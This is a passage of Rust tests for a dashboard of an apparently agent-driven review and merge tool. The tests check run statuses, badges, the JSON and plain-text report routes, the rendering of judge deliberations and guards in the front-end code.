21310 (RunStatus::Judging, false, "park", false, Dead, "stale"),
21311 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
21312 (
21313 RunStatus::Judging,
21314 true,
21315 "github-text",
21316 true,
21317 Dead,
21318 "waiting",
21319 ),
21320 (
21321 RunStatus::Judging,
21322 false,
21323 "github-text",
21324 true,
21325 Dead,
21326 "waiting",
21327 ),
21328 (
21329 RunStatus::Judging,
21330 false,
21331 "github-text",
21332 false,
21333 Dead,
21334 "stale",
21335 ),
21336 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
21337 (RunStatus::Judging, true, "park", false, Live, "judging"),
21338 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
21339 (RunStatus::Merged, true, "park", false, Dead, "merged"),
21340 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
21341 (
21342 RunStatus::Blocked,
21343 true,
21344 "github-text",
21345 true,
21346 Dead,
21347 "waiting",
21348 ),
21349 ] {
21350 state.status = status;
21351 state.parked = parked;
21352 state.events.clear();
21353 state.event(
21354 "park",
21355 "an earlier park does not determine the latest state",
21356 );
21357 state.event(node, "message is not used for classification");
21358 let summary = RunSummary::of(&state, waiting, live);
21359 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
21360 assert_eq!(
21361 summary.display_status, expected,
21362 "{status:?}/{node}/{live:?}"
21363 );
21364 assert_eq!(detail.display_status, summary.display_status);
21365 assert_eq!(detail.waiting, summary.waiting);
21366 }
21367 state.status = RunStatus::Judging;
21368 state.parked = false;
21369 state.events.clear();
21370 assert_eq!(run_display_status(&state, false, Dead), "stale");
21371 }
21372
21373 #[test]
21374 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
21375 use crate::run::Liveness::{Dead, Live, Unknown};
21376 let mut state = RunState::new(
21377 PathBuf::from("/repo/magi"),
21378 "main".to_owned(),
21379 "abc".to_owned(),
21380 "Badge".to_owned(),
21381 Config::default(),
21382 );
21383 for (status, waiting, live, superseded, expected) in [
21384 (RunStatus::Gating, false, Dead, false, "stale"),
21385 (RunStatus::Gating, false, Dead, true, "superseded"),
21386 (RunStatus::Gating, false, Unknown, true, "superseded"),
21387 (RunStatus::Gating, true, Dead, true, "superseded"),
21388 (RunStatus::Gating, true, Dead, false, "waiting"),
21389 (RunStatus::Gating, false, Unknown, false, "gating"),
21390 (RunStatus::Gating, false, Live, true, "gating"),
21391 (RunStatus::Gating, true, Live, true, "waiting"),
21392 (RunStatus::Merged, false, Dead, true, "merged"),
21393 (RunStatus::Blocked, false, Dead, true, "blocked"),
21394 ] {
21395 state.status = status;
21396 let display = run_display_status(&state, waiting, live);
21397 assert_eq!(
21398 run_badge_status(&state, &display, live, superseded),
21399 expected,
21400 "{status:?}/{live:?}/superseded={superseded}"
21401 );
21402 }
21403 }
21404
21405 #[test]
21406 fn summarize_and_detail_expose_badge_status() {
21407 use crate::run::Liveness::Dead;
21408 let mut state = RunState::new(
21409 PathBuf::from("/repo/magi"),
21410 "main".to_owned(),
21411 "abc".to_owned(),
21412 "Badge".to_owned(),
21413 Config::default(),
21414 );
21415 state.status = RunStatus::Gating;
21416 let none = HashSet::new();
21417 let id = state.id.clone();
21418 let mut by = HashMap::new();
21419 let rows = summarize(
21420 [state.clone()],
21421 &none,
21422 &none,
21423 &by,
21424 |_| Some(false),
21425 |_| None,
21426 );
21427 assert_eq!(rows[0].badge_status, rows[0].display_status);
21429 by.insert(id, "20260901-000000-913b".to_owned());
21430 let detail = RunDetailView::of(
21431 state.clone(),
21432 false,
21433 Dead,
21434 Some("913b".to_owned()),
21435 None,
21436 None,
21437 );
21438 assert_eq!(detail.badge_status, "superseded");
21439 let json = serde_json::to_value(&detail).unwrap();
21440 assert_eq!(json["badge_status"], "superseded");
21441 let detail = RunDetailView::of(state, false, Dead, None, None, None);
21442 assert_eq!(detail.badge_status, "stale");
21443 }
21444
21445 #[tokio::test]
21446 async fn run_display_status_routes_share_the_open_question_store() {
21447 let f = Fixture::start().await;
21448 let id = "20260922-090200-abcd";
21449 write_run(&f.runs(), id, RunStatus::Judging);
21450 let mut state = read_run(&f.runs(), id).unwrap();
21451 state.parked = true;
21452 state.driver_exited = true;
21453 state.event("github-text", "waiting for the owner");
21454 state.save_under(f.home.path()).unwrap();
21455 let mut task = Task::new(
21456 "resumed task".to_owned(),
21457 "do it".to_owned(),
21458 PathBuf::from("/repo"),
21459 Source::Human,
21460 );
21461 task.runs = vec![id.to_owned(), id.to_owned()];
21462 f.queue().put(&mut task).unwrap();
21463 let store = f.questions();
21464 let mut q = Question::new(
21465 id.to_owned(),
21466 "github-text".to_owned(),
21467 "owner".to_owned(),
21468 "Approve the text?".to_owned(),
21469 String::new(),
21470 Vec::new(),
21471 );
21472 store.put(&mut q).unwrap();
21473 for expected in ["waiting", "parked"] {
21474 let list = f.get("/api/runs").await.json();
21475 let detail = f.get(&format!("/api/runs/{id}")).await.json();
21476 assert_eq!(list[0]["display_status"], expected);
21477 assert_eq!(detail["display_status"], expected);
21478 assert_eq!(detail["waiting"], list[0]["waiting"]);
21479 assert_eq!(list[0]["badge_status"], expected);
21480 assert_eq!(detail["badge_status"], expected);
21481 assert!(list[0]["superseded_by"].is_null());
21482 assert!(detail["superseded_by"].is_null());
21483 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
21484 let history = task_detail["history"].as_array().unwrap();
21485 assert_eq!(history.len(), 2);
21486 assert!(history[0]["badge"].is_null());
21487 assert_eq!(history[1]["badge"], expected);
21488 q.status = ask::QuestionStatus::Answered;
21489 store.put(&mut q).unwrap();
21490 }
21491 }
21492
21493 #[tokio::test]
21494 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
21495 let f = Fixture::start().await;
21496 let id = "20260922-090200-abcd";
21497 write_run(&f.runs(), id, RunStatus::Judging);
21498 let mut state = read_run(&f.runs(), id).unwrap();
21499 state.parked = true;
21500 state.driver_exited = true;
21501 state.event("park", "stopped at a node boundary");
21502 state.save_under(f.home.path()).unwrap();
21503
21504 for expected in ["parked", "stale"] {
21505 let list = f.get("/api/runs").await.json();
21506 let detail = f.get(&format!("/api/runs/{id}")).await.json();
21507 assert_eq!(list[0]["live"], "dead");
21508 assert_eq!(list[0]["display_status"], expected);
21509 assert_eq!(detail["display_status"], expected);
21510 state.parked = false;
21513 state.save_under(f.home.path()).unwrap();
21514 }
21515 }
21516
21517 #[tokio::test]
21518 async fn the_run_list_is_newest_first_and_honours_a_limit() {
21519 let f = Fixture::start().await;
21520 for id in [
21521 "20260902-140501-aaaa",
21522 "20260902-140502-bbbb",
21523 "20260902-140503-cccc",
21524 ] {
21525 write_run(&f.runs(), id, RunStatus::Merged);
21526 }
21527
21528 let all = f.get("/api/runs").await.json();
21529 let capped = f.get("/api/runs?limit=2").await.json();
21530
21531 assert_eq!(all[0]["id"], "20260902-140503-cccc");
21532 assert_eq!(all.as_array().map(Vec::len), Some(3));
21533 assert_eq!(capped.as_array().map(Vec::len), Some(2));
21534 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21535 }
21536
21537 #[tokio::test]
21538 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21539 let f = Fixture::start().await;
21540 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21541
21542 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21543
21544 assert_eq!(res.status, 200);
21545 assert!(
21546 res.headers
21547 .contains("content-type: text/plain; charset=utf-8"),
21548 "a browser must render it, not download it: {}",
21549 res.headers
21550 );
21551 assert!(
21555 res.body.contains("20260902-140501-a1b2"),
21556 "the report is about the run that was asked for: {}",
21557 res.body
21558 );
21559 }
21560
21561 #[tokio::test]
21562 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21563 crate::run::pin_test_home();
21565 let f = Fixture::start().await;
21566 let id = "20260902-140501-a1b2";
21567 write_run(&f.runs(), id, RunStatus::Stalled);
21568 let path = f.runs().join(id).join("run.json");
21571 let mut v: serde_json::Value =
21572 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21573 v["tally"] = serde_json::json!({
21574 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21575 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21576 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21577 "met_quorum": false, "rankings": 1
21578 });
21579 v["reviews"] = serde_json::json!([{
21580 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21581 "e2e_deferred": true,
21582 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21583 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21584 ]}]
21585 }]);
21586 std::fs::write(&path, v.to_string()).unwrap();
21587 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21588 std::fs::write(
21589 f.runs().join("20260902-140502-dead").join("run.json"),
21590 "{not json",
21591 )
21592 .unwrap();
21593
21594 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21595
21596 assert_eq!(res.status, 200, "{}", res.body);
21597 assert!(res.headers.contains("content-type: application/json"));
21598 let j = res.json();
21599 assert_eq!(j["schema"], 1);
21600 assert_eq!(j["header"]["id"], id);
21601 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21602 let kinds: Vec<&str> = j["sections"]
21603 .as_array()
21604 .unwrap()
21605 .iter()
21606 .map(|s| s["kind"].as_str().unwrap())
21607 .collect();
21608 assert_eq!(kinds, ["candidates", "tally", "review"]);
21609 let tally = &j["sections"][1]["tally"];
21610 assert_eq!(
21611 (tally["decided"].clone(), tally["provisional"].clone()),
21612 (false.into(), true.into())
21613 );
21614 let round = &j["sections"][2]["rounds"][0];
21615 assert_eq!(round["e2e"]["state"], "deferred");
21616 assert_eq!(round["findings"][0]["severity"], "major");
21617 assert_eq!(round["findings"][0]["blocking"], true);
21618 assert_eq!(round["findings"][0]["state"], "open");
21619
21620 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21622
21623 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21625 assert_ne!(bad.status, 200, "{}", bad.body);
21626 assert_eq!(
21627 bad.status,
21628 f.get("/api/runs/20260902-140502-dead/report").await.status
21629 );
21630 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21631 assert_eq!(
21632 f.get("/api/runs/20260902-999999-ffff/report.json")
21633 .await
21634 .status,
21635 404
21636 );
21637 }
21638
21639 #[tokio::test]
21640 async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21641 crate::run::pin_test_home();
21642 let f = Fixture::start().await;
21643 let id = "20260902-140501-a1b2";
21644 write_run(&f.runs(), id, RunStatus::Blocked);
21645 let path = f.runs().join(id).join("run.json");
21646 let mut v: serde_json::Value =
21647 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21648 v["sync_only_passes"] = serde_json::json!([{
21649 "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21650 "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21651 "head_before": "before-sha", "head_after": "after-sha",
21652 "result": "synchronized", "verification_allowed": false
21653 }]);
21654 std::fs::write(&path, v.to_string()).unwrap();
21655
21656 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21657 assert_eq!(res.status, 200, "{}", res.body);
21658 let json = res.json();
21659 let section = json["sections"]
21660 .as_array()
21661 .unwrap()
21662 .iter()
21663 .find(|s| s["key"] == "sync_only")
21664 .expect("base-only report section");
21665 let line = section["lines"][0].as_str().unwrap();
21666 assert!(line.contains("origin/main @ base-sha"), "{line}");
21667 assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21668 assert!(line.contains("verification was not allowed"), "{line}");
21669 }
21670
21671 #[tokio::test]
21672 async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21673 crate::run::pin_test_home();
21674 let f = Fixture::start().await;
21675 let id = "20260902-140505-facts";
21676 write_run(&f.runs(), id, RunStatus::Stalled);
21677 let path = f.runs().join(id).join("run.json");
21678 let mut v: serde_json::Value =
21679 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21680 v["candidates"] = serde_json::json!([{
21681 "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21682 "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21683 }]);
21684 v["tally"] = serde_json::json!({
21685 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21686 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21687 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21688 "met_quorum": false, "rankings": 1
21689 });
21690 v["quota"] = serde_json::json!([
21691 {
21692 "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21693 "agent": "signed-out", "cause": "authentication"
21694 },
21695 {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21696 ]);
21697 v["startup"] = serde_json::json!({
21698 "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21699 "failure": "fetch refused\ncredentials expired"
21700 });
21701 v["recovery"] = serde_json::json!({
21702 "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21703 "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21704 "repair": {"started": {"before": "abcdef012345"}}
21705 });
21706 v["reviews"] = serde_json::json!([{
21707 "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21708 "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21709 "vote_split": true, "verdict": "approve_with_findings",
21710 "e2e": [{
21711 "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21712 }],
21713 "reviews": [
21714 {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21715 "summary": "Initial **concern**.\n\nPlease inspect.",
21716 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21717 {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21718 ],
21719 "reconsideration": [{
21720 "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21721 "reason": "The blocker is resolved.\nOne minor issue remains."
21722 }]
21723 }]);
21724 v["merge_repairs"] = serde_json::json!([{
21725 "question": "question-42", "head": "abcdef012345",
21726 "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21727 "gate": [], "phase": "Failed",
21728 "failure": "owner decision required\ninspect updated results"
21729 }]);
21730 v["bump_decision_attempts"] = serde_json::json!([
21731 {"agent": "first", "outcome": "unavailable"},
21732 {"agent": "second", "outcome": "patch\naccepted"}
21733 ]);
21734 v["release_bump"] = serde_json::json!({
21735 "version": "1.2.3", "local": true,
21736 "problem": "publish failed\nregistry refused",
21737 "release": {
21738 "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21739 "failed": "registry refused\nawait owner approval",
21740 "log": [{
21741 "name": "cargo publish", "code": 1,
21742 "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21743 }]
21744 }
21745 });
21746 std::fs::write(&path, v.to_string()).unwrap();
21747
21748 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21749 assert_eq!(res.status, 200, "{}", res.body);
21750 let j = res.json();
21751 assert_eq!(j["schema"], 1);
21752 assert_eq!(j["header"]["tone"], "warn");
21753 assert_eq!(
21754 j["header"]["startup"],
21755 "review branch=topic stage=fetch complete=false"
21756 );
21757 assert_eq!(
21758 j["header"]["startup_failure"],
21759 "fetch refused\ncredentials expired"
21760 );
21761 assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
21762 assert_eq!(
21763 j["sections"][0]["items"][0]["detail"],
21764 "Already covered.\nNo patch needed."
21765 );
21766 assert_eq!(
21767 j["sections"][1]["tally"]["rate_limited"],
21768 serde_json::json!(["judge-1", "judge-2"])
21769 );
21770 let sections = j["sections"].as_array().unwrap();
21771 let labels: Vec<_> = sections
21772 .iter()
21773 .map(|section| {
21774 section["key"]
21775 .as_str()
21776 .or_else(|| section["kind"].as_str())
21777 .unwrap()
21778 })
21779 .collect();
21780 assert_eq!(
21781 labels,
21782 [
21783 "candidates",
21784 "tally",
21785 "quota_details",
21786 "recovery",
21787 "review",
21788 "merge_repairs",
21789 "release_decision_attempts",
21790 "release_bump",
21791 "release_execution"
21792 ]
21793 );
21794 let note = |key: &str| {
21795 sections
21796 .iter()
21797 .find(|section| section["kind"] == "notes" && section["key"] == key)
21798 .unwrap()
21799 };
21800 let unavailable = note("quota_details");
21801 assert_eq!(unavailable["tone"], "warn");
21802 assert_eq!(
21803 unavailable["lines"],
21804 serde_json::json!([
21805 "judge-1 (signed-out: re-authenticate)",
21806 "judge-2 (usage limit)"
21807 ])
21808 );
21809 let recovery = note("recovery");
21810 assert_eq!(recovery["tone"], "warn");
21811 assert!(
21812 recovery["lines"][0]
21813 .as_str()
21814 .unwrap()
21815 .contains("head moved\nreview the new diff")
21816 );
21817 assert_eq!(
21818 recovery["lines"][1],
21819 "the task's own completion criteria were kept"
21820 );
21821 assert_eq!(recovery["lines"][2], "repair: unfinished");
21822 let review = sections
21823 .iter()
21824 .find(|section| section["kind"] == "review")
21825 .unwrap();
21826 assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21827 let round = &review["rounds"][0];
21828 assert_eq!(round["verified_head"], "fedcba9");
21829 assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21830 assert_eq!(round["status"], "incomplete");
21831 assert_eq!(round["e2e"]["state"], "pass");
21832 assert_eq!(round["reviewers"][0]["vote"], "reject");
21833 assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21834 assert_eq!(
21835 round["reviewers"][0]["reason"],
21836 "Initial **concern**.\n\nPlease inspect."
21837 );
21838 assert!(
21839 !round["reviewers"][0]["reason_md"]
21840 .as_array()
21841 .unwrap()
21842 .is_empty()
21843 );
21844 assert!(round["reviewers"][1]["final_vote"].is_null());
21845 assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21846 assert_eq!(
21847 round["reconsideration"][0]["reason"],
21848 "The blocker is resolved.\nOne minor issue remains."
21849 );
21850 assert!(
21851 !round["reconsideration"][0]["reason_md"]
21852 .as_array()
21853 .unwrap()
21854 .is_empty()
21855 );
21856 let repairs = note("merge_repairs");
21857 assert_eq!(repairs["tone"], "warn");
21858 assert_eq!(
21859 repairs["lines"][0],
21860 "question question-42 head abcdef012345 Failed\nhttps://example.test/pull/42"
21861 );
21862 assert_eq!(
21863 repairs["lines"][1],
21864 "held: owner decision required\ninspect updated results"
21865 );
21866 assert_eq!(
21867 repairs["lines"][2],
21868 "original [R1-1-1] Minor: Check edge case"
21869 );
21870 assert_eq!(
21871 repairs["lines"][3],
21872 "original reviewer #1: ApproveWithFindings"
21873 );
21874 assert_eq!(
21875 repairs["lines"][4],
21876 "Repair never approves a merge; updated results require a fresh owner decision."
21877 );
21878 let attempts = note("release_decision_attempts");
21879 assert_eq!(attempts["tone"], "neutral");
21880 assert_eq!(
21881 attempts["lines"],
21882 serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21883 );
21884 let bump = sections
21885 .iter()
21886 .find(|section| section["kind"] == "release_bump")
21887 .unwrap();
21888 assert_eq!(bump["bump"]["automerge"], "local");
21889 assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21890 assert_eq!(bump["tone"], "warn");
21891 let execution = note("release_execution");
21892 assert_eq!(execution["tone"], "warn");
21893 assert_eq!(
21894 execution["lines"][0],
21895 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21896 );
21897 assert_eq!(
21898 execution["lines"][1],
21899 "tag on remote: true; 1 command(s) completed"
21900 );
21901 assert_eq!(
21902 execution["lines"][2],
21903 "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21904 );
21905
21906 let raw = f.get(&format!("/api/runs/{id}/report")).await;
21908 assert_eq!(raw.status, 200);
21909 assert!(
21910 raw.headers
21911 .contains("content-type: text/plain; charset=utf-8")
21912 );
21913 assert!(raw.body.contains("fetch refused\ncredentials expired"));
21914 assert!(raw.body.contains("Already covered."));
21915 assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21916 assert!(raw.body.contains("judge-2 (usage limit)"));
21917 assert!(
21918 raw.body
21919 .contains("owner decision required\ninspect updated results")
21920 );
21921 assert!(raw.body.contains("2. second: patch\naccepted"));
21922 assert!(raw.body.contains(
21923 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21924 ));
21925
21926 let legacy_id = "20260902-140506-old";
21928 write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21929 let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21930 assert_eq!(legacy.status, 200, "{}", legacy.body);
21931 let legacy = legacy.json();
21932 assert!(legacy["header"]["startup"].is_null());
21933 assert!(legacy["header"]["startup_failure"].is_null());
21934 assert!(
21935 legacy["sections"]
21936 .as_array()
21937 .unwrap()
21938 .iter()
21939 .all(|section| section["kind"] != "notes")
21940 );
21941 }
21942
21943 #[tokio::test]
21944 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21945 crate::run::pin_test_home();
21946 let f = Fixture::start().await;
21947 let id = "20260902-140503-delib";
21948 write_run(&f.runs(), id, RunStatus::Merged);
21949 let path = f.runs().join(id).join("run.json");
21950 let mut v: serde_json::Value =
21951 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21952 v["judgements"] = serde_json::json!([
21953 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21954 ]);
21955 v["tally"] = serde_json::json!({
21956 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21957 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21958 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21959 "met_quorum": true, "rankings": 1
21960 });
21961 v["deliberation"] = serde_json::json!([
21962 {
21963 "round": 1,
21964 "turns": [
21965 {
21966 "judge": 1,
21967 "agent": "judge-1",
21968 "body": "I prefer candidate **A** because it has cleaner tests.",
21969 "tentative": "A"
21970 }
21971 ]
21972 },
21973 {
21974 "round": 2,
21975 "turns": [
21976 {
21977 "judge": 1,
21978 "agent": "judge-1",
21979 "body": "Still thinking, no choice yet.",
21980 "tentative": null
21981 }
21982 ]
21983 }
21984 ]);
21985 std::fs::write(&path, v.to_string()).unwrap();
21986
21987 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21988 assert_eq!(res.status, 200, "{}", res.body);
21989 let j = res.json();
21990 let judging = j["sections"]
21991 .as_array()
21992 .unwrap()
21993 .iter()
21994 .find(|s| s["kind"] == "judging")
21995 .expect("judging section exists");
21996
21997 let delib_lines = judging["deliberation"].as_array().unwrap();
21999 assert_eq!(delib_lines.len(), 2);
22000 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
22001 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
22002
22003 let rounds = judging["rounds"].as_array().unwrap();
22005 assert_eq!(rounds.len(), 2);
22006 let r1_t0 = &rounds[0]["turns"][0];
22007 assert_eq!(r1_t0["judge"], 1);
22008 assert_eq!(r1_t0["agent"], "judge-1");
22009 assert_eq!(r1_t0["tentative"], "A");
22010 assert_eq!(
22011 r1_t0["body"],
22012 "I prefer candidate **A** because it has cleaner tests."
22013 );
22014 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
22015
22016 let r2_t0 = &rounds[1]["turns"][0];
22017 assert_eq!(r2_t0["judge"], 1);
22018 assert_eq!(r2_t0["agent"], "judge-1");
22019 assert!(r2_t0["tentative"].is_null());
22020 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
22021 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
22022
22023 let id_empty = "20260902-140504-nodelib";
22025 write_run(&f.runs(), id_empty, RunStatus::Merged);
22026 let path_empty = f.runs().join(id_empty).join("run.json");
22027 let mut v_empty: serde_json::Value =
22028 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
22029 v_empty["judgements"] = serde_json::json!([
22030 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
22031 ]);
22032 v_empty["deliberation"] = serde_json::json!([]);
22033 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
22034
22035 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
22036 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
22037 let j_empty = res_empty.json();
22038 let judging_empty = j_empty["sections"]
22039 .as_array()
22040 .unwrap()
22041 .iter()
22042 .find(|s| s["kind"] == "judging")
22043 .expect("judging section exists");
22044 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
22045 }
22046
22047 #[tokio::test]
22048 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
22049 let f = Fixture::start().await;
22050
22051 let html = f.get("/").await;
22052 let css = f.get("/app.css").await;
22053 let js = f.get("/app.js").await;
22054
22055 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
22056 assert!(
22057 html.headers
22058 .contains("content-type: text/html; charset=utf-8")
22059 );
22060 assert!(css.headers.contains("content-type: text/css"));
22061 assert!(js.headers.contains("content-type: text/javascript"));
22062 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
22063 }
22064
22065 #[test]
22066 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
22067 let body = |name: &str| {
22068 let at = APP_JS
22069 .find(name)
22070 .unwrap_or_else(|| panic!("{name} missing"));
22071 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22072 };
22073 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
22074 let note = body("function landRoundNote");
22075 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
22076 assert!(note.contains("Land round ${round}"));
22077 let land = body("function renderLand");
22078 let note_at = land
22079 .find("landRoundNote(pr)")
22080 .expect("renderLand uses the note");
22081 assert!(
22082 note_at
22083 < land
22084 .find("roundRail(pr)")
22085 .expect("renderLand uses the rail")
22086 );
22087 }
22088
22089 #[test]
22090 fn the_runs_page_redesign_keeps_its_guards() {
22091 let body = |name: &str| {
22092 let at = APP_JS
22093 .find(name)
22094 .unwrap_or_else(|| panic!("{name} missing"));
22095 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
22096 };
22097 let land = body("function renderLand");
22099 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
22100 assert!(
22101 !land.contains("box.append("),
22102 "renderLand must use append()"
22103 );
22104 assert!(land.contains("append(box, ["));
22105 let parse_route = APP_JS.split_once("function parseRoute").unwrap().1;
22107 let parse_route = parse_route.split_once("/* ---- two-pane layout").unwrap().0;
22108 assert!(parse_route.contains("RUN_TABS.includes(parts[2])"));
22109 assert!(
22110 body("function applyRoute").contains("const prevRoute = state.route;")
22111 && body("function applyRoute")
22112 .contains("route.name !== prevRoute.name || route.id !== prevRoute.id")
22113 );
22114 assert!(!APP_JS.contains("adviseConvergeDiagram"));
22116 assert!(!INDEX_HTML.contains("advise-converge"));
22117 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
22118 assert!(APP_JS.contains("provisional"));
22119 for id in [
22120 "run-tab-overview",
22121 "run-tab-timeline",
22122 "run-tab-report",
22123 "run-report",
22124 "runs-scope",
22125 ] {
22126 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
22127 }
22128 assert!(!INDEX_HTML.contains("runs-tree"));
22129 assert!(!INDEX_HTML.contains("run-raw-panel"));
22130 assert!(APP_JS.contains("resume"));
22132 assert!(APP_JS.contains("unreadable"));
22134 }
22135
22136 #[test]
22137 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
22138 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
22139 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
22140 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
22141 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
22142 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22143 assert!(APP_JS.contains("unreadable` : null"));
22145 }
22146
22147 #[test]
22148 fn blocked_run_detail_exposes_the_failed_gate_reason() {
22149 let mut state = RunState::new(
22150 "/repo".into(),
22151 "main".into(),
22152 "abc".into(),
22153 "task".into(),
22154 crate::config::Config::default(),
22155 );
22156 state.status = RunStatus::Blocked;
22157 state.gate_ran = true;
22158 state.gate.push(crate::run::CommandOutcome {
22159 command: "cargo make check".into(),
22160 code: Some(1),
22161 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22162 duration_ms: 0,
22163 resource_blocked: false,
22164 ..Default::default()
22165 });
22166 let view = RunDetailView::of(
22167 state,
22168 false,
22169 crate::run::Liveness::Unknown,
22170 None,
22171 None,
22172 None,
22173 );
22174 let value = serde_json::to_value(view).unwrap();
22175 assert_eq!(
22176 value["stop_reason"],
22177 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22178 );
22179 }
22180
22181 #[test]
22182 fn the_run_detail_payload_says_whether_the_run_is_done() {
22183 for (status, done) in [
22185 (RunStatus::Superseded, true),
22186 (RunStatus::Blocked, true),
22187 (RunStatus::Landing, false),
22188 ] {
22189 let mut state = RunState::new(
22190 std::path::PathBuf::from("/repo"),
22191 "main".to_owned(),
22192 "abc".to_owned(),
22193 "x".to_owned(),
22194 crate::config::Config::default(),
22195 );
22196 state.status = status;
22197 let v = serde_json::to_value(RunDetailView::of(
22198 state,
22199 false,
22200 crate::run::Liveness::Unknown,
